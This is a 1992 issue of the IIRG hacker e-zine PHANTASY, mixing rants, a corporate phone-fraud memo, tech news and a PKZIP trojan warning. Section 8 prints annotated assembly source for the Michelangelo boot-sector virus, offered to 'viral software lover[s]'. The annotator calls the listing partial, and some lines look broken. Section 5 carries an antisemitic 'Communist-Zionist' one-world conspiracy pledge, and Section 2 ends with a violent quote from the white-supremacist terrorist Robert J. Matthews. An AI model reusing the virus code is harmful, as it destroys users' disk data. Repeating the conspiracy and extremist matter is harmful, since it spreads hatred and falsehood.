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Volume Number Three,Issue Number Eight Dated 6/05/92
Editor: Mercenary@f515.n141.z1.fidonet.org
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Table of Discontents:
[1] Quick Comment
By: Mercenary
[2] Communists Alive and Well in the U.S.
By: Red Dawn
[3] TeleFraud: (A Case Example)
By: Anonymous
[4] IIRG Members Profiles: Rowdy Roddy Piper
[5] New World Order Pledge of Dis-Allegiance
Provided By: Saint Anarchy
[6] IIRG FREEBIES: New Section Devoted to promotions
available to our readers!
[7] PHANTASY TIDBITS: News and Views of Interest
[8] FOR THE PEOPLE
Supplied By: Bulletin Boards Across the Country
Edited by: Mercenary
1. Michelangelo Source Code
2. Phil Katz Warning
3. Virus Poem
[9] Listing of PHANTASY Distribution Sites
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OFFICIAL DISLAIMER...
All information in PHANTASY is from USER contributed material
The Publishers and Editors of PHANTASY and THE IIRG disclaim
any liability from any damages of any type that the reader or
user of such information contained within this newsletter may encounter
from the use of said information. All files are brought to you for
entertainment purposes only! We also assume all information infringes
no copyrights and hereby disclaim any liability.
PHANTASY is (C) 1990 by The IIRG
IIRG and INTERNATIONAL INFORMATION RETRIEVAL GUILD is (C) 1982
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Section [1]: Quick Comment
By: Mercenary
ATTENTION!! All File creators,Publishers,BBS-aholics
the Former IIRG WHQ Runestone BBS is gone.
Please do not list it in your files.
The New WHQ is:
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Section [2]: Communists Alive and Well in the U.S.
By: Red Dawn
The Berlin Wall came down, and its about time. But the RED Menace is alive
and Well folks. The So called Russian Republics (Soviet DisUnion) haven't
gone anywhere. So why are the piss ant politicians in the U.S. rolling over
and playing Dead? Money, Yes its that simple Money.
One world Government means power and power means money and as long as our
leaders are more concerned about filling thier pockets and not filling
peoples stomachs, were on our own.
The Chinese Communists just exploded the largest underground nuclear blast
ever, the Soviets still have there nukes and the PLP is alive and well here
in the U.S.
On a recent jaunt up to MIT, I was approached by a PLP (Progressive Labor
Party) member. The PLP is the American Communist Party for those who are new
to this. He asked if I'd like to buy a copy of "Challenge" (The Revolutionary
Communist Newspaper) I said No, but I'll take this copy for free comrade.
and walked off with the poor little Reds paper.
NOTE: Please dont feel bad for the Red, Communism states whats yours is mine
so I was just teaching him about true Communism control
Now the PLP is getting smart, they are recruiting Puerto Ricans and other
third world spanish speakers, as the lead story is "STOP RACIST REPATRIATION
OF HAITANS" and the paper is now half spanish.
What better way to boost your cause then appeal to an already unrestful
group of people.
Well I say enough, lets show the Communists that we can take America Back
by unseating mailing them your thoughts.
I'd Advise this on a Post Card:
We Love America,and not Karl Marx.... Signed a Concerned American
Mail to: The Progressive Labor Party
231 West 29th Street
Room 502
New York,NY 10001
Or Call: (212)-629-0002
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GIVE YOUR SOUL TO GOD AND PICK UP YOUR GUN, ITS TIME TO DEAL IN LEAD.
WE ARE THE LEGIONS OF THE DAMNED,THE ARMY OF THE ALREADY DEAD.
Robert J. Matthews
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Section [3]: TeleFraud: (A Case Example)
By: Anonymous
Hacking and Phreaking has long been a game of cat and mouse, between
Hacker and System Administrator. In a role reversal I'd like to present
the response of an Undisclosed Insurance Company to hackers penetrating
thier system by presenting the memo distributed to system operators.
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From the Director of Systems Security to all employees:
We have experienced telephone fraud (TeleFraud) in which outsiders,
(I.E. Hackers) penetrated a regional office telephone system and made long
distance calls that were charged to the company (In one case the cost of
those calls was about $27,000) A number of steps are being implemented to
elimanate this exposure) We want to inform you about some of them, and ask
for your help and cooperation.
NOTE: This article may contain terminology new to you. A "Definition of Terms"
is included on the last page to help clarify these terms.
BACKGROUND:
The most common form of telefraud involves the use of 800 numbers,credit
cards, and third party calling. Hackers get these numbers from a number of
sources, such as:
A. Advertisements
B. Eavesdropping (e.g. when you charge your telephone call to another number
while using a public telephone)
C. Using old company telephone books and manuals that contain numbers of
Key System or Private Branch Exchange (PBX) systems, which are the heart
of our internal telephone system.
Technically sophisticated hackers dial these numbers, and through computer
program routines, determine authorization codes.
Having learned these codes, they post them on computer bulletin boards or
sell them. Literally within minutes unauthorized calls are passing through
the system.
To reduce or eliminate this exposure, our department as well as others are
working together to protect our telephone systems. Some of these protection
measures include:
1. Development and implementation of controls in conjuction with our telephone
vendors (e.g. AT&T and MCI) to restrict access to certain telephone
features. Some of these controls include prohibiting the use of Remote
Access,trunk to trunk,and DISA services.
2. Making you, as telephone users, aware of this problem and identifying ways
you can help. This memo is part of this program.
HOW CAN YOU HELP?:
Here are some suggestions:
Telephone Credit Cards:
1. Don't give your credit card number to anyone
2. When calling from a payphone, use card readers whenever possible.
3. Don't read the number loud enough for others to hear, or let others
observe you entering your number.
4. Report lost or stolen cards immediately.
5. Use your body to block the view of someone who may be watching to see the
access code you are punching into the telephone.
800 Service:
1. Don't install an 800 number unless it's absolutely necessary.
2. Remove the line when it's no longer needed.
3. Limit 800 service to applications that are answered by people.
4. Avoid 800 service to Phonemail or Voice Response Units (VRU).
International/Domestic Toll Calls:
1. Block country and/or area codes that you don't call.
2. Limit the use of International Class of Service at the handset level.
3. Block 900 calls with the local telephone company.
Dial Data Lines:
1. Block third party calling with the local telephone company.
2. Establish VNET range restrictions
Remote Access:
1. Disable this feature on the PBX. We have surveyed our PBX vendors
country-wide to ensure these facilities are not enabled.
Trunk-to-Trunk:
1. Disable this feature on the PBX. We have surveyed our PBX vendors
country-wide to ensure these facilities are not enabled.
Phonemail:
1. Change passwords frequently
2. Deactivate unused mailboxes
3. Limit the number of "Guest" mailboxes
4. Don't publish the system access number to anyone who doesn't use
phonemail.
5. Lock out the subscriber after three unsuccessful attempts to enter the
mailbox.
6. Keep system administrator ID's secret and change them frequently.
Third Party Calling:
1. Request the local telephone company to block third party calling on
dial data,fax,and private lines.
2. Limit the installation of private lines
PBX (Private Branch Exchange):
1. Do not reveal maintenance port passwords to callers without positive ID
2. Delete unused extensions
VRU (Voice Response Units):
1. Do not enable trunk-to-trunk transfer.
2. Program only a select number of extensions to which callers can be
transferred (i.e. establish a table of extensions).
3. Do not program station transfer
4. Passwords, (e.g. logon ID's customer PIN's) should be carefully protected
and changed frequently.
Automated Attendant:
1. Do not enable trunk-to trunk transfer.
2. Do not program station transfer
3. Delete unused extensions
4. Deactivate software features if not in use.
Hardcopy Listings:
1. Properly dispose of old telephone books,manuals,or telephone bills that
contain sensitive telephone numbers.
2. Review all telephone charges,looking for patterns and excessive charges.
Dial Access to Computers:
1. Secure dial lines to all computer systems.
Miscellaneous:
1. Be cautious of unusual situations with your telephone system, such as
busy signals at odd times.
DEFINITION OF TERMS
PBX
Private Branch Exchange. Private automatic system that provides for the
switching of calls internally, and to and from the public telephone
network.
Trunk-to-Trunk
A "trunk" is the telephone line that connects a PBX to the telephone
company. Therefore a trunk-to-trunk connection ties a PBX system to the
telephone company.
DISA
Stands for Direct Inward System Access. This feature gives an outside
caller the ability to dial directly into a PBX system, without attendant
(i.e. operator) intervention, and gain access to the PBX system facilities
and outgoing circuits. DISA software should be disabled, thus eliminating
this feature/exposure.
Voice Mail
Hardware and software products that can be integrated or peripheral to a
PBX system, allowing users to send,receive,and redirect voice messages
through office telephone systems and computers.
Automated Attendant
An automated telephone system used to accept incoming calls and direct
their callers to specific extensions based upon the caller entering touch
tone numbers. For example, a hacker could call someones Voicemail mailbox
from the outside and try to break in.
VRU (Voice Response Unit)
An interactive system that interfaces between the PBX and host computer
based upon information provided by the caller (e.g. account number,social
security number)
Remote Access
Allows a caller at a remote location to access PBX features by telephone.
Individual authorization codes are usually required. Remote access allows
the caller to potentially access an outside (e.g. long distance) line,
and is usually accomplished through the use of DISA or automated
attendant features.
VNET (Virtual Network)
A registered MCI service that offers a range of telephone limits and/or
restrictions (e.g. allows calls only within U.S., does not allow calls to
Virgin Islands,etc.)
Key System:
A small, multi-line internal telephone system similar to a PBX.
Norstar,Spirit,and Merlin are examples of a key system.
Remember: All of us are potential victims of telephone fraud. Hackers are
determined to use our telephone system and not pay for that
service. Please be as determined to ensure they do not.
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ONE CRIME IS CONCEALED BY THE COMMISSION OF ANOTHER
Seneca
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Section [4]: IIRG Members Profiles: Rowdy Roddy Piper
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Rowdy Roddy Piper
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Handle: Rowdy Roddy Piper
Call him: Piper
Past handles: None
Handle origin: Wrestler Rowdy Roddy Piper of WWF fame
Past Computers: Commodore 64 With ICT Data Chief
Commodore 128
Amiga 1000
286/12
Present Computer: 386/33
1300 Megs Storage
Courier HST
Courier HST Dual Standard
Sysop: Pipers Pit BBS
Background:
Piper Started his original Commodore oriented BBS in March 1985. The Board
was originally run off of a C-64 with 2 SFD 1001's. Continually upgrading his
system Piper switched from his original C-Net configuration to Color 64
with a C-128 with 1750 Ram expander and 2 ICT Data Chief HFD20's.
It was at this time that Piper met Mercenary at the now defunct CompuTech
systems and started attending the original IIRG meetings at the Bar and
pizza joint next door.
With the Commodore community rapidly dwindling and the IIRG no longer
supporting the C64/128, Piper sold his Commodore BBS for a $400.00 profit
over what he invested in it and Bought a 286/12 and an Amiga 1000 with
1.5 megs.
Now, with the his vast majority of users being IBM, Piper has switched
to a 386/33 Tower with 1300 Megs of storage,2 Nodes (HST and HST D/S.
But being true to his roots, Piper still supports the Amiga line.
Pipers Favorite Things
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Running his BBS
Music (Extensive CD Collection)
The one month his phone bill ran under $100.00
Most Memorable Experiences
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Selling his original commodore BBS for $400.00 more than he originally
purchased the Equipment for, and passing out at the 1989 IIRG Hack
Bash before the keg was tapped.
People to Mention
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Thanks to: Pie Man,
Mercenary, a downright strange individual
Anubis, an even stranger individual
The now defunct CompuTech systems and its owner Redbone
Fucks to: Internal Revenue, America's Legal Organized Crime Syndicate
Credit Bureaus, Go ahead---Make my Limit
and 95% of all elected officials
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A NICKNAME IS THE HEAVIEST STONE THE DEVIL CAN THROW AT A MAN
Anon
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Section [5]: New World Order Pledge of Dis-Allegiance
Provided By: Saint Anarchy
As our brave and trustworthy leaders usher in there new world order,
I suggest each one of you memorize this Pledge to it.
We pledge dis-allegiance to the United Nations flag and the confusion,
the treason,the wars,and the bloodshed for which it stands.
One World (under Satan), uniting all nations under one Communist-Zionist
international economic control.
Promoting (under the guise of benevolence and welfare) Metro Government,
Regionalization,Urban Renewal,Model Cities,causing distress to young and
old,totally changing our form of government, and working toward a One
World Bank (Acclomplished, a One World Government,and a One World Church,
without God and his Holy Word, the Bible. In his name we reject and defy
the United Nations Flag and the totalitarianism for which it stands.
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FREEDOM HATH A THOUSAND CHARMS TO SHOW
THAT SLAVES HOWE'ER CONTENDED NEVER KNOW
Cowper
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Section [6]: IIRG FREEBIES: A new section to Phantasy
BY: Mercenary
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Call 1-800-228-3295
Ask for Free Demo Disk
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Ask for Free Interactive Demo Disk
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Section [7]: PHANTASY TIDBITS: News and Views of interest from around the
Computer World
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I GOT EM,I GOT EM, I GOT EM....
Arizona Law officers are fuming that the U.S. Justice Department is taking
credit for the first successful prosecution under the Operation Sundevil
computer crime investigation. They point out that they nabbed and convicted
two hackers swept up in the nationwide crackdown on computer crime several
months ago. One of the hackers is still doing time in a halfway house after
spending six months in "shock incarceration," a boot camp for first time
offenders.
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POOR LITTLE BIG BROTHER....
Difficulties tapping advanced digital telephone networks for criminal
investigations have inspired the Federal Bureau of Investigation to propose
legislation requiring carriers to modify their networks to accommodate court
approved wiretaps. The multimillion dollar cost of re-engineering the
networks would be borne by rate payers. Civil liberties groups said a built
in tapping capability might encourage overly broad government surveillance.
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COULD I GET SOME MINT JELLY WITH THAT PLEASE?
A man charged with stealing computer boards from Digital Equipment Corporation
between February and October 1990 recently received the severed head of a lamb
wrapped in towels through the U.S. Mail. The box arrived at the Lexington,
Mass., home of Edward Desmond Jr. on Feb 28th. Desmond had cooperated with the
government during part of the 2 1/2 year investigation, which led to the
indictment of 16 people. A plea agreement with Desmond was reportedly
rescinded after he was caught commiting other crimes.
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INTERNET ADVISORY BOARD SETS S.N.M.P. SECURITY RULES
The Simple Network Management Protocol (SNMP) security specifications now
before the Internet Advisory Board would provide the following features:
1. A data-encryption standard based specification that encrypts messages
between the SNMP manager and agent. This is useful for sending down new or
updated keys that determine what management functions a SNMP station can
access or that define authorization levels within a station.
2. Origin Authentication that prevents unauthorized users who have obtained
an SNMP workstations access code from masquerading as an authentic user.
3. Replay protection that keeps a user from delaying an SNMP transmission,
such as a command to take a workstation offline, and sending it at a later
date.
4. Message integrity that keeps authorized users from changing the contents
of a SNMP message.
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BOOK PUSHER SEEKS TO INFLATE EGO
Computer Security Expert Winn Schwartau, whose book, Terminal Compromise,
describes how a terrorist gang could paralyze the U.S. with a computer virus,
sees a parrallel between his text and real life.
"When the Michelangelo virus scare began, it was eerie, like somone had lifted
the events right out of my book," he says. "Viruses are evolving into a
terrorist's weapon and are certainly a viable means of waging warfare."
Terminal compromise is published by Pittsburg-Based Inter-Pact press.
IIRG Note: This Jack Ass will say anything to sell his book, so save the
$19.95 and go out and get drunk instead. The book is pure
garbage.
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JACKASS's and MORE JACKASS's
The Associated press reports that the theft of a portable PC in Australia was
solved when the thief sent a fax to the unit's maker, DFM Systems of Des
Moines,Iowa asking for a power cord,documentation, and software.
What the crook didn't know was the DFM TraveLite PC was the only such system
in Australia. The unit was owned by Sydney based ACEL, which the thief had
burglarized. DFM contacted ACEL's managing director, who then contacted the
police. A ploice officer later contacted the crook, who had supplied his
street address on the fax.
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I HEAR YA' KNOCKIN, BUT YA' CAN'T COME IN
Whozz Calling uses your local phone company's Caller ID service to intercept
the ID information before you answer your phone. The product sends the
identification of the caller via standard RS-232 serial wire to your computer
which looks up the caller name,displays it,stores it,elects not to answer the
call, or diverts the call to an answering machine.
A DOS compatible,menu driven TSR program can optionally pop up information
about the caller,bringing up the callers ID before you answer the phone.
Price: $79.00 (Requires Caller ID)
Contact: Zeus Phonstuff
1000 Holcomb Woods Parkway
Suite 410-C
Roswell,GA 30076
(404)-587-1541
(404)-587-1609 (FAX)
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TWO AT CORNELL INDICTED IN VIRUS CASE
Two Cornell University students now have been indicted for felonies in
connection with the computer virus case that came to light last
February at the Ithaca, N.Y., university.
David Blumenthal and Mark Pilgrim are accused of embedding a virus in
three Apple Macintosh computer games that were sent from Cornell's
computer center to an archive at Stanford University. Authorities say
from there, the games were duplicated and wound up in computers across
the U.S., Japan and Great Britain.
Blumenthal, 20, and Pilgrim, 19, who, in convicted, face a maximum
four years in prison, were arrested in February on misdemeanor
charges, which were increased to felonies because the virus is
believed to have caused more than $1,000 in damage, said county
District Attorney George Dentes.
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AT&T INTRODUCES PRODUCTS TO FIGHT PHONE FRAUD
NEW YORK (Reuter) -- American Telephone & Telegraph Co. rolled out a new
security program yesterday aimed at protecting businesses from anyone who
might try to "steal" their long-distance telephone service.
Branding phone fraud as a nationwide problem costing upwards of $1.2
billion a year, the company said its AT&T NetProtect program gives customers
the products, services and education they need to combat such fraud, as well
as protection against financial liability.
Long-Distance fraud often takes place when an outsider, say a computer
hacker, cracks the access codes to a company's private branch exchange, or
PBX -- an internal phone system that allows easy access to branch offices
and major customers.
The PBX can then be used to place long-distance or international calls as
if by someone inside the company.
The practice, a misdemeanor crime with no jail sentence in many states,
typically is done for monetary gain. The "stolen" service can be sold on the
street, sometimes providing drug traffickers with international calls that
cannot be traced.
"Long-distance fraud is a serious criminal problem, and we believe AT&T
should stand squarely with our customers against the criminals who steal the
service," said Joseph Nacchio, president of AT&T's Business Communications
Services division.
AT&T, the long-distance carrier created by the 1984 breakup of the former
Bell telephone system, said its new program would relieve customers from
liability for the fraud.
The company this week began monitoring its toll-free 800 service at no
extra charge to prevent fraud. From Aug. 1, it also will monitor inter-
national long-distance service to countries experiencing high levels of
fraud.
An AT&T spokesman declined to disclose the cost for enhanced and premium
services that protect customers from financial liability, saying the cost
structure has not yet been filed with the Federal Communications Commission.
Other packages include a $1,995 software package that alerts customers to
unusual calling patterns and a $150 an hour intervention service under which
AT&T experts try to stop fraud while it is in progress.
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WORLDWIDE MOBILE DATA SOLUTIONS
ATLANTA -- May 18, 1992 -- Digital Equipment Corporation, RAM Mobile
Data, and BellSouth Enterprises, Inc. today announced a worldwide
agreement to provide mobile data solutions based on the Mobitex
mobile packet radio network.
Under the agreement, Digital will offer two-way wireless
electronic mail to its more than three million existing ALL-IN-1
integrated office system customers. Digital is developing a
version of its Mobilizer for ALL-IN-1 software that will enable
users of portable MS-DOS PCs to access ALL-IN-1 electronic mail
applications without a connection to a telephone outlet.
Digital plans to provide the same services on the Mobitex
mobile network in the United Kingdom. In addition, wireless
electronic mail services will be offered to customers in several
other countries where RAM and BellSouth plan to operate Mobitex
networks. Digital's wireless electronic mail offering will be
available in the first quarter of calendar year 1993.
Digital also announced the DECmobile program, under which
the company will deliver fully integrated, end-to-end mobile data
communications solutions that extend enterprise computing
networks to mobile users. The announcements were made at the ICA
telecommunications industry conference held here May 18-21.
"With these announcements, Digital is moving aggressively
into the fast-growing mobile data market," said Ernst E.
Wellhoener, vice president of Digital's Telecommunications
Business Group. "We are supporting our commitment with
substantial investments of time, money, and resources to build
the kinds of mobile data solutions our customers require."
Digital Becomes RAM Mobile Data Systems Integrator
Under the DECmobile program, Digital will offer customers
complete mobile data solutions, acting as systems integrator for
RAM Mobile Data and other service providers. Digital will
provide a single point of contact for customers seeking to
benefit from new mobile data communications services.
Digital is entering into business relationships with leading
suppliers of radio modems, handheld PCs, and cellular devices.
The company currently has relationships with Ericsson Mobile
Communications AB, Fujitsu Personal Systems (formerly Poqet
Computer Corporation), and Husky Computers, Inc.
"The move into mobile data represents a natural progression
for Digital, a leader in providing networked computer systems and
one of the computer industry's foremost systems integrators,"
Wellhoener said. "Our ability to provide 'one-stop shopping' for
mobile data solutions helps simplify what might otherwise be a
difficult process for our customers, enabling them to get
up-to-speed faster and more cost-effectively."
Wellhoener said Digital chose Mobitex networks because they
are feature-rich, sophisticated, and highly efficient. "And
perhaps most important, the worldwide scope of Mobitex networks
will enable us to meet the needs of today's multinational
enterprises," Wellhoener added.
Mike Harrell, president of BellSouth Mobile Data, Inc., said
the alliance would enable mobile data network subscribers to take
advantage of Digital's worldwide systems integration
capabilities. "Aligning ourselves with an experienced systems
integrator ensures our network subscribers have the most
effective solutions," Harrell said. "We can now expand the market
for Mobitex into a broad range of networked computer applications."
Carl Robert Aron, chairman and CEO of RAM, said, "ALL-IN-1
is the world's leading host-based application that includes
electronic mail. RAM's Mobitex network is the only mobile data
network in operation which automatically delivers E-mail messages
to mobile professionals wherever they are within the network
service area. The marriage of Mobitex and Mobilizer for ALL-IN-1
was inevitable."
Digital Develops Mobile Data Products and Programming Tools
In addition to developing a wireless interface for its
Mobilizer for ALL-IN-1 product, Digital is developing an open
software architecture and a single set of application programming
interfaces that will be available to software developers. The
architecture and application programming interfaces, or APIs,
facilitate the integration of new and existing mobile applications
for RAM's and other service providers' networks. APIs make it easy
for developers to write mobile data applications.
BellSouth Mobile Data is a subsidiary of BellSouth
Enterprises, Inc., the holding company that manages a group of
companies for BellSouth Corporation that provide wireless
telecommunications, advertising and publishing, and
information-based services throughout the world.
RAM Mobile Data operates a wireless data communications
service in major metropolitan areas across the nation. Using
RAM's service, companies exchange two-way messages and data with
field personnel equipped with mobile, portable, or handheld
terminals. RAM Mobile Data Ltd. operates a similar, compatible
system in the United Kingdom. RAM's radio-based data
communications network architecture is Mobitex, an international,
open standard supplied by Ericsson.
RAM has exclusive use of the Mobitex technology in the
United States. Mobitex was developed by Ericsson Mobile
Communications AB and Swedish Telecom. Digital and Ericsson last
year signed a cooperation agreement under which the two companies
will develop software tools for the integration of Digital's
products with the Mobitex network.
ALL-IN-1, DECmobile, the Digital logo, and Mobilizer for ALL-IN-1 are
trademarks of Digital Equipment Corporation.
Mobitex is a registered trademark of Swedish Telecom
MS-DOS is a registered trademark of Microsoft Corporation.
RAM Mobile Data's legal name is RAM Mobile Data USA Limited Partnership
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HONEST OFFICER!, HE SAID HE BOUGHT THE STUFF
Microsoft and the FBI recently raided four Silicon Valley companies
seizing bootleg copies of MS-DOS 5.0 and Windows 3.0 as well as associated
manuals with a street value of more than $180,000. The Tip-off came when
distributors tried to sell MS-DOS 5.0 seperately.
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BIG MAC ATTACK FOILED
Two Cornell University students have been accused of creating a computer
virus called MBDF-A, that infected computers around the world.
David Blumenthal,20 and Mark Pilgrim,19 face a maximum four years in prison
for allegedly hiding the virus in three Macintosh computer games that were
sent via modem from Cornell's computer center to an archive at Stanford.
Macintosh PC's across the USA,Great Britain,and Japan were infected when
users downloaded the games. Once in the Macs the virus destroyed the operating
system.
The two were arrested on misdemeanor charges which have been increased to
felonies because the virus may have caused more than $1,000 in Damage.
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Section [8]: FOR THE PEOPLE
Files Collected from BBS's Across the country
By You the Computer User!
Edited By: Mercenary
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IIRG NOTE: This source code file was floating around for some time
we provide it here for the programmer or viral software lover.
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;
;
; Michelangelo
; Size: 512
; Type: Boot infector
; Date of action: March 6th
;
;
data_1e equ 4Ch ; (0000:004C=1DB1h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 413h ; (0000:0413=280h)
data_4e equ 7C05h ; (0000:7C05=203Ch)
data_5e equ 7C0Ah ; (0000:7C0A=49EBh)
data_6e equ 7C0Ch ; (0000:7C0C=2A3Ch)
data_7e equ 7 ; (694E:0007=0)
data_8e equ 8 ; (694E:0008=0)
data_9e equ 0Ah ; (694E:000A=0)
data_11e equ 7C03h ; (694E:7C03=0)
seg_a segment
assume cs:seg_a, ds:seg_a
org 100h
mich proc far
start:
jmp loc_6 ; (01AF) "This is what you see at sector 0"
db 0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
db 0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
db 50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
db 0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
db 4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
db 9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
db 2, 0, 58h, 1Fh, 2Eh, 0FFh
db 2Eh, 0Ah, 0, 50h, 53h, 51h
db 52h, 1Eh, 6, 56h, 57h, 0Eh
db 1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jnc loc_2 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
dec si
jnz loc_1 ; Jump if not zero
jmp short loc_5 ; (01A6)
loc_2: ;Zero registers clear direction
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_3 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_5 ; Jump if equal
loc_3: ; cmp byte ptr See infected
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je loc_4 ; Jump if equal
mov cl,0Eh
loc_4: ;call out all db hiden data
mov ds:data_8e,cx ; (694E:0008=0)
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jc loc_5 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
cld ; Clear direction
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h ; to es:[di]
xor bx,bx ; Zero register
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
loc_5: ;Clear all set
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
loc_6: ;Load all hiden data
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov ax,7C00h
mov sp,ax
sti ; Enable interrupts
push ds
push ax
mov ax,ds:data_1e ; (0000:004C=1DB1h)
mov ds:data_5e,ax ; (0000:7C0A=49EBh)
mov ax,ds:data_2e ; (0000:004E=70h)
mov ds:data_6e,ax ; (0000:7C0C=2A3Ch)
mov ax,ds:data_3e ; (0000:0413=280h)
dec ax
dec ax
mov ds:data_3e,ax ; (0000:0413=280h)
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:data_4e,ax ; (0000:7C05=203Ch)
mov ax,0Eh
mov ds:data_1e,ax ; (0000:004C=1DB1h)
mov ds:data_2e,es ; (0000:004E=70h)
mov cx,1BEh
mov si,7C00h
xor di,di ; Zero register
cld ; Clear direction
rep movsb ; Rep while cx>0 Mov [si]
jmp dword ptr cs:data_11e ; to es:[di] (694E:7C03=0)
db 33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;0 Mov [si]
mov ax,301h : to es:[di]
xor bx,bx ; Zero register
inc cl
int 13h ; Disk dl=drive a: ah=func 03h lets infect hd
; write sectors from mem es:bx
;* jmp short loc_13 ;*(02E0)
db 0EBh, 32h
db 1, 4, 11h, 0, 80h, 0
db 5, 5, 32h, 1, 0, 0
db 0, 0, 0
db 53h, 53h, 20h, 20h, 43h, 4Fh
db 4Dh
db 58 dup (0)
db 55h, 0AAh
seg_a ends
;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!
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03/16/1992
WARNING! WARNING! WARNING! WARNING! WARNING! WARNING! WARNING!
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There is a file being circulated on BBS's called PKZ201.ZIP or
PKZ201.EXE or similar, and that claims to be version 2.01 of
PKZIP but in fact is a hacked version of PKZIP 1.93 Alpha.
As of the date of this writing, the latest version of PKZIP is
version 1.10.
If you see the files PKZ201.ZIP or PKZ201.EXE on any BBS or
on-line system, please ask the SysOp of that system to remove
the files IMMEDIATELY, and please contact PKWARE to report
where the files were seen.
Of course, because of this PKWARE will never release a version
of PKZIP with the version number 2.01.
If you have any information about the source of PKZ201.EXE or
PKZ201.ZIP, please report it to PKWARE immediately, either:
by Voice at 414-354-8699
by BBS at 414-354-8670
by FAX at 414-354-8559
or by mail:
PKWARE Inc.
9025 N. Deerwood Drive
Brown Deer, WI 53223 USA
Sincerely,
Phil Katz
President, PKWARE Inc.
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